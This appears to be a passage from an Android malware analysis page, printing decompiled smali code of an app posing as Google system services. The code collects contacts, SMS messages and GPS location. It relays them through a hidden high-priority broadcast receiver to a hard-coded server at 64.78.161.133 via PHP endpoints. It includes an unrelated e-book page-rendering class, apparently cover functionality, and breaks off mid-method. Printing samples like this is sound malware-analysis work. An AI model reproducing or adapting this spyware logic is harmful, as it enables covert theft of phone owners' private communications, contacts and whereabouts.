17 | invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; |
|
18 | move-result-object v1 | |
20 | const-string v0, "" | |
21 | if-eqz v1, :cond_5a | |
22 | cond_19: | |
23 | invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z | |
24 | move-result v2 | |
25 | if-eqz v2, :cond_57 | |
26 | const/4 v2, 0x1 | |
28 | invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
29 | move-result-object v2 | |
31 | invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
32 | move-result v3 | |
33 | if-nez v3, :cond_19 | |
34 | const/4 v3, 0x0 | |
36 | invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
37 | move-result-object v3 | |
38 | new-instance v4, Ljava/lang/StringBuilder; | |
40 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
42 | invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
43 | move-result-object v0 | |
45 | const-string v4, "name:" | |
47 | invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
48 | move-result-object v0 | |
50 | invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
51 | move-result-object v0 | |
53 | const-string v3, ",phonenumber:" | |
55 | invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
56 | move-result-object v0 | |
58 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
59 | move-result-object v0 | |
61 | const-string v2, ";" | |
63 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
64 | move-result-object v0 | |
66 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
67 | move-result-object v0 | |
68 | goto/16 :goto_19 | |
69 | cond_57: | |
70 | invoke-interface {v1}, Landroid/database/Cursor;->close()V | |
71 | cond_5a: return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | if-eqz p1, :cond_42 | |
4 | invoke-virtual {p1}, Landroid/location/Location;->getLatitude()D | |
5 | move-result-wide v0 | |
7 | invoke-virtual {p1}, Landroid/location/Location;->getLongitude()D | |
8 | move-result-wide v2 | |
9 | new-instance v4, Ljava/lang/StringBuilder; | |
11 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
13 | const-string v5, "Long&Lat:" | |
15 | invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
16 | move-result-object v4 | |
18 | invoke-virtual {v4, v2, v3}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder; | |
19 | move-result-object v2 | |
21 | const-string v3, "," | |
23 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
24 | move-result-object v2 | |
26 | invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder; | |
27 | move-result-object v0 | |
29 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
30 | move-result-object v0 | |
31 | goto_27: new-instance v1, Landroid/content/Intent; | |
33 | invoke-direct {v1}, Landroid/content/Intent;-><init>()V | |
35 | const-string v2, "com.google.system.receiver" | |
37 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
38 | new-instance v2, Landroid/os/Bundle; | |
40 | invoke-direct {v2}, Landroid/os/Bundle;-><init>()V | |
42 | const-string v3, "location" | |
44 | invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
46 | invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; |
|
48 | invoke-virtual {p0, v1}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V |
|
49 | return-void | |
50 | cond_42: | |
51 | const-string v0, "No location found" | |
52 | goto/16 :goto_27 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v3, 0x0 | |
3 | iget-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context; | |
5 | invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver; | |
6 | move-result-object v0 | |
8 | sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri; | |
10 | sget-object v2, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String; | |
11 | move-object v4, v3 | |
12 | move-object v5, v3 | |
14 | invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; |
|
15 | move-result-object v1 | |
17 | const-string v0, "" | |
18 | if-eqz v1, :cond_56 | |
19 | cond_15: | |
20 | invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z | |
21 | move-result v2 | |
22 | if-eqz v2, :cond_53 | |
23 | const/4 v2, 0x1 | |
25 | invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
26 | move-result-object v2 | |
28 | invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z | |
29 | move-result v3 | |
30 | if-nez v3, :cond_15 | |
31 | const/4 v3, 0x0 | |
33 | invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; |
|
34 | move-result-object v3 | |
35 | new-instance v4, Ljava/lang/StringBuilder; | |
37 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
39 | invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
40 | move-result-object v0 | |
42 | const-string v4, "name:" | |
44 | invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
45 | move-result-object v0 | |
47 | invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
48 | move-result-object v0 | |
50 | const-string v3, ",phonenumber:" | |
52 | invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
53 | move-result-object v0 | |
55 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
56 | move-result-object v0 | |
58 | const-string v2, ";" | |
60 | invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
61 | move-result-object v0 | |
63 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
64 | move-result-object v0 | |
65 | goto/16 :goto_15 | |
66 | cond_53: | |
67 | invoke-interface {v1}, Landroid/database/Cursor;->close()V | |
68 | cond_56: return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const/4 v1, 0x0 | |
3 | if-eqz p1, :cond_19 | |
5 | const-string v0, "connectivity" | |
7 | invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
8 | move-result-object v0 | |
9 | check-cast v0, Landroid/net/ConnectivityManager; | |
11 | invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo; |
|
12 | move-result-object v0 | |
13 | if-eqz v0, :cond_19 | |
14 | const/4 v1, 0x1 | |
15 | iput-boolean v1, p0, Lcom/google/services/PhoneService;->linkFlag:Z | |
17 | invoke-virtual {v0}, Landroid/net/NetworkInfo;->isAvailable()Z |
|
18 | move-result v0 | |
19 | goto_18: return v0 | |
20 | cond_19: iput-boolean v1, p0, Lcom/google/services/PhoneService;->linkFlag:Z | |
21 | move v0, v1 | |
22 | goto/16 :goto_18 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v5, 0x1 | |
3 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
5 | const-string v0, "http://64.78.161.133" | |
6 | iput-object v0, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String; | |
7 | new-instance v0, Landroid/content/ComponentName; | |
8 | const-class v1, Lcom/google/services/PhoneService; | |
10 | invoke-direct {v0, p0, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
11 | try_start_f: | |
12 | invoke-virtual {p0}, Lcom/google/services/PhoneService;->getPackageManager()Landroid/content/pm/PackageManager; | |
13 | move-result-object v1 | |
14 | const/16 v2, 0x80 | |
16 | invoke-virtual {v1, v0, v2}, Landroid/content/pm/PackageManager;->getServiceInfo(Landroid/content/ComponentName;I)Landroid/content/pm/ServiceInfo; |
|
17 | move-result-object v0 | |
19 | iget-object v0, v0, Landroid/content/pm/ServiceInfo;->metaData:Landroid/os/Bundle; | |
21 | const-string v1, "telmark" | |
23 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
24 | move-result-object v0 | |
25 | iput-object v0, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
26 | goto_23: | |
27 | iget-object v0, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
29 | const-string v1, "phone" | |
31 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
32 | move-result v0 | |
33 | if-eqz v0, :cond_75 | |
35 | const-string v0, "number" | |
36 | const/4 v1, 0x0 | |
38 | invoke-virtual {p0, v0, v1}, Lcom/google/services/PhoneService;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
39 | move-result-object v0 | |
41 | const-string v1, "native" | |
43 | const-string v2, "" | |
45 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
46 | move-result-object v1 | |
47 | iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
49 | const-string v1, "" | |
51 | iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
53 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
54 | move-result v1 | |
55 | if-eqz v1, :cond_75 | |
56 | new-instance v1, Ljava/util/Date; | |
58 | invoke-direct {v1}, Ljava/util/Date;-><init>()V | |
59 | new-instance v2, Ljava/lang/StringBuilder; | |
61 | invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V | |
63 | const-string v3, "phone" | |
65 | invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
66 | move-result-object v2 | |
68 | invoke-virtual {v1}, Ljava/util/Date;->getTime()J | |
69 | move-result-wide v3 | |
71 | invoke-virtual {v2, v3, v4}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder; | |
72 | move-result-object v1 | |
74 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
75 | move-result-object v1 | |
76 | iput-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
78 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
79 | move-result-object v0 | |
81 | const-string v1, "native" | |
83 | iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
85 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
86 | move-result-object v0 | |
88 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
89 | cond_75: | |
90 | sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo; | |
91 | new-instance v1, Ljava/lang/StringBuilder; | |
93 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
95 | iget-object v2, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String; | |
97 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
98 | move-result-object v1 | |
100 | const-string v2, "/android.php" | |
102 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
103 | move-result-object v1 | |
105 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
106 | move-result-object v1 | |
107 | iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
109 | invoke-virtual {p0}, Lcom/google/services/PhoneService;->getBaseContext()Landroid/content/Context; | |
110 | move-result-object v0 | |
112 | invoke-virtual {p0, v0}, Lcom/google/services/PhoneService;->isConnect(Landroid/content/Context;)Z | |
114 | const-string v0, "\u542f\u52a8\u4e86" | |
116 | iget-object v1, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
118 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
119 | iget-boolean v0, p0, Lcom/google/services/PhoneService;->linkFlag:Z | |
120 | if-ne v0, v5, :cond_f2 | |
122 | sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo; | |
124 | const-string v1, "create" | |
126 | iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
128 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
129 | move-result v0 | |
130 | if-eqz v0, :cond_eb | |
131 | new-instance v0, Landroid/content/IntentFilter; | |
133 | const-string v1, "com.google.system.receiver" | |
135 | invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V |
|
136 | const v1, 0x7fffffff | |
138 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V |
|
139 | new-instance v1, Lcom/google/services/sendReceiver; | |
141 | invoke-direct {v1}, Lcom/google/services/sendReceiver;-><init>()V | |
143 | invoke-virtual {p0, v1, v0}, Lcom/google/services/PhoneService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; | |
145 | sget-object v0, Lcom/google/services/PhoneService;->send:Lcom/google/services/SendInfo; | |
146 | new-instance v1, Ljava/lang/StringBuilder; | |
148 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
150 | iget-object v2, p0, Lcom/google/services/PhoneService;->hostname:Ljava/lang/String; | |
152 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
153 | move-result-object v1 | |
155 | const-string v2, "/data/" | |
157 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
158 | move-result-object v1 | |
160 | iget-object v2, p0, Lcom/google/services/PhoneService;->nativenumber:Ljava/lang/String; | |
162 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
163 | move-result-object v1 | |
165 | const-string v2, "/process.php" | |
167 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
168 | move-result-object v1 | |
170 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
171 | move-result-object v1 | |
172 | iput-object v1, v0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
174 | invoke-virtual {p0}, Lcom/google/services/PhoneService;->serviceInit()V | |
175 | sput-boolean v5, Lcom/google/services/PhoneService;->Flag:Z | |
176 | cond_eb: return-void | |
177 | catch_ec: move-exception v0 | |
179 | invoke-virtual {v0}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V | |
180 | goto/16 :goto_23 | |
181 | cond_f2: | |
182 | const-string v0, "\u624b\u673a\u7f51\u7edc\u60c5\u51b5" | |
184 | const-string v1, "\u624b\u673a\u6ca1\u6709\u7f51\u7edc\uff0c\u6216\u8005send\u6a21\u5757\u9519\u8bef\uff01" | |
186 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
187 | goto/16 :goto_eb |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
4 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; |
|
5 | move-result-object v0 | |
7 | const-string v1, "com.google.system.receiver" | |
9 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
10 | move-result v0 | |
11 | if-eqz v0, :cond_3e | |
13 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; |
|
14 | move-result-object v0 | |
15 | if-eqz v0, :cond_3e | |
17 | const-string v1, "sms" | |
19 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z |
|
20 | move-result v1 | |
21 | if-eqz v1, :cond_3f | |
23 | const-string v1, "\u63a5\u6536\u5230\u77ed\u4fe1\u4e86\u5427" | |
25 | const-string v2, "sms" | |
27 | invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
28 | move-result-object v2 | |
30 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
32 | const-string v1, "sms" | |
33 | iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
35 | const-string v1, "sms" | |
37 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
38 | move-result-object v0 | |
40 | invoke-virtual {v0}, Ljava/lang/String;->toString()Ljava/lang/String; | |
41 | move-result-object v0 | |
42 | iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
44 | iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
46 | iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
48 | iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
50 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
51 | cond_3e: return-void | |
52 | cond_3f: | |
53 | const-string v1, "contact" | |
55 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z |
|
56 | move-result v1 | |
57 | if-eqz v1, :cond_6c | |
59 | const-string v1, "\u63a5\u6536\u5230\u901a\u8baf\u5f55" | |
61 | const-string v2, "contact" | |
63 | invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
64 | move-result-object v2 | |
66 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
68 | const-string v1, "contact" | |
69 | iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
71 | const-string v1, "contact" | |
73 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
74 | move-result-object v0 | |
76 | invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
77 | move-result-object v0 | |
78 | iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
80 | iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
82 | iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
84 | iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
86 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
87 | goto/16 :goto_3e | |
88 | cond_6c: | |
89 | const-string v1, "location" | |
91 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z |
|
92 | move-result v1 | |
93 | if-eqz v1, :cond_99 | |
95 | const-string v1, "\u63a5\u6536\u5230\u4f4d\u7f6e\u4fe1\u606f" | |
97 | const-string v2, "location" | |
99 | invoke-virtual {v0, v2}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
100 | move-result-object v2 | |
102 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
104 | const-string v1, "location" | |
105 | iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
107 | const-string v1, "location" | |
109 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
110 | move-result-object v0 | |
112 | invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
113 | move-result-object v0 | |
114 | iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
116 | iget-object v0, p0, Lcom/google/services/sendReceiver;->sender:Lcom/google/services/SendInfo; | |
118 | iget-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
120 | iget-object v2, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
122 | invoke-virtual {v0, v1, v2}, Lcom/google/services/SendInfo;->sendInfo(Ljava/lang/String;Ljava/lang/String;)Z | |
123 | goto/16 :goto_3e | |
124 | cond_99: | |
125 | const-string v1, "other" | |
127 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->containsKey(Ljava/lang/String;)Z |
|
128 | move-result v1 | |
129 | if-eqz v1, :cond_3e | |
131 | const-string v1, "other" | |
132 | iput-object v1, p0, Lcom/google/services/sendReceiver;->name:Ljava/lang/String; | |
134 | const-string v1, "other" | |
136 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
137 | move-result-object v0 | |
139 | invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; | |
140 | move-result-object v0 | |
141 | iput-object v0, p0, Lcom/google/services/sendReceiver;->value:Ljava/lang/String; | |
142 | new-instance v0, Lcom/google/services/sendReceiver$1; | |
144 | invoke-direct {v0, p0}, Lcom/google/services/sendReceiver$1;-><init>(Lcom/google/services/sendReceiver;)V | |
146 | invoke-virtual {v0}, Lcom/google/services/sendReceiver$1;->start()V | |
147 | goto/16 :goto_3e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .annotation system Ldalvik/annotation/Signature; | |
1 | value = { | |
2 | "()", | |
3 | "Ljava/util/Vector", | |
4 | "<", | |
5 | "Ljava/lang/String;", | |
6 | ">;" | |
7 | } | |
8 | .end annotation | |
9 | .prologue | |
10 | const/4 v7, -0x1 | |
12 | const-string v1, "" | |
13 | new-instance v2, Ljava/util/Vector; | |
15 | invoke-direct {v2}, Ljava/util/Vector;-><init>()V | |
16 | goto_8: | |
17 | invoke-virtual {v2}, Ljava/util/Vector;->size()I | |
18 | move-result v0 | |
19 | iget v3, p0, Lcom/google/services/BookPageFactory;->mLineCount:I | |
20 | if-ge v0, v3, :cond_b5 | |
21 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
22 | iget v3, p0, Lcom/google/services/BookPageFactory;->m_mbBufLen:I | |
23 | if-ge v0, v3, :cond_b5 | |
24 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
26 | invoke-virtual {p0, v0}, Lcom/google/services/BookPageFactory;->readParagraphForward(I)[B | |
27 | move-result-object v3 | |
28 | iget v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
29 | array-length v4, v3 | |
30 | add-int/2addr v0, v4 | |
31 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
32 | try_start_22: new-instance v0, Ljava/lang/String; | |
34 | iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
36 | invoke-direct {v0, v3, v4}, Ljava/lang/String;-><init>([BLjava/lang/String;)V |
|
37 | goto_29: | |
38 | const-string v1, "" | |
40 | const-string v3, "\r\n" | |
42 | invoke-virtual {v0, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I |
|
43 | move-result v3 | |
44 | if-eq v3, v7, :cond_9f | |
46 | const-string v1, "\r\n" | |
48 | const-string v3, "\r\n" | |
50 | const-string v4, "" | |
52 | invoke-virtual {v0, v3, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
53 | move-result-object v0 | |
54 | move-object v8, v1 | |
55 | move-object v1, v0 | |
56 | move-object v0, v8 | |
57 | goto_40: | |
58 | invoke-virtual {v1}, Ljava/lang/String;->length()I | |
59 | move-result v3 | |
60 | if-nez v3, :cond_49 | |
62 | invoke-virtual {v2, v1}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z | |
63 | cond_49: | |
64 | invoke-virtual {v1}, Ljava/lang/String;->length()I | |
65 | move-result v3 | |
66 | if-lez v3, :cond_6d | |
68 | iget-object v3, p0, Lcom/google/services/BookPageFactory;->mPaint:Landroid/graphics/Paint; | |
69 | const/4 v4, 0x1 | |
70 | iget v5, p0, Lcom/google/services/BookPageFactory;->mVisibleWidth:F | |
71 | const/4 v6, 0x0 | |
73 | invoke-virtual {v3, v1, v4, v5, v6}, Landroid/graphics/Paint;->breakText(Ljava/lang/String;ZF[F)I |
|
74 | move-result v3 | |
75 | const/4 v4, 0x0 | |
77 | invoke-virtual {v1, v4, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String; |
|
78 | move-result-object v4 | |
80 | invoke-virtual {v2, v4}, Ljava/util/Vector;->add(Ljava/lang/Object;)Z | |
82 | invoke-virtual {v1, v3}, Ljava/lang/String;->substring(I)Ljava/lang/String; | |
83 | move-result-object v1 | |
85 | invoke-virtual {v2}, Ljava/util/Vector;->size()I | |
86 | move-result v3 | |
87 | iget v4, p0, Lcom/google/services/BookPageFactory;->mLineCount:I | |
88 | if-lt v3, v4, :cond_49 | |
89 | cond_6d: | |
90 | invoke-virtual {v1}, Ljava/lang/String;->length()I | |
91 | move-result v3 | |
92 | if-eqz v3, :cond_8 | |
93 | try_start_73: iget v3, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
94 | new-instance v4, Ljava/lang/StringBuilder; | |
96 | invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V | |
98 | invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
99 | move-result-object v4 | |
101 | invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
102 | move-result-object v0 | |
104 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
105 | move-result-object v0 | |
107 | iget-object v4, p0, Lcom/google/services/BookPageFactory;->m_strCharsetName:Ljava/lang/String; | |
109 | invoke-virtual {v0, v4}, Ljava/lang/String;->getBytes(Ljava/lang/String;)[B | |
110 | move-result-object v0 | |
111 | array-length v0, v0 | |
112 | sub-int v0, v3, v0 | |
113 | iput v0, p0, Lcom/google/services/BookPageFactory;->m_mbBufEnd:I | |
114 | try_end_91: goto/16 :goto_8 | |
115 | catch_93: move-exception v0 | |
117 | invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V | |
118 | goto/16 :goto_8 | |
119 | catch_99: move-exception v0 | |
121 | invoke-virtual {v0}, Ljava/io/UnsupportedEncodingException;->printStackTrace()V | |
122 | move-object v0, v1 | |
123 | goto/16 :goto_29 | |
124 | cond_9f: | |
125 | const-string v3, "\n" | |
127 | invoke-virtual {v0, v3}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I |
|
128 | move-result v3 | |
129 | if-eq v3, v7, :cond_b6 | |
131 | const-string v1, "\n" | |
133 | const-string v3, "\n" | |
135 | const-string v4, "" | |
137 | invoke-virtual {v0, v3, v4}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
138 | move-result-object v0 | |
139 | move-object v8, v1 | |
140 | move-object v1, v0 | |
141 | move-object v0, v8 | |
142 | goto/16 :goto_40 | |
143 | cond_b5: return-object v2 | |
144 | cond_b6: move-object v8, v1 | |
145 | move-object v1, v0 | |
146 | move-object v0, v8 | |
147 | goto/16 :goto_40 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v2, 0x1 | |
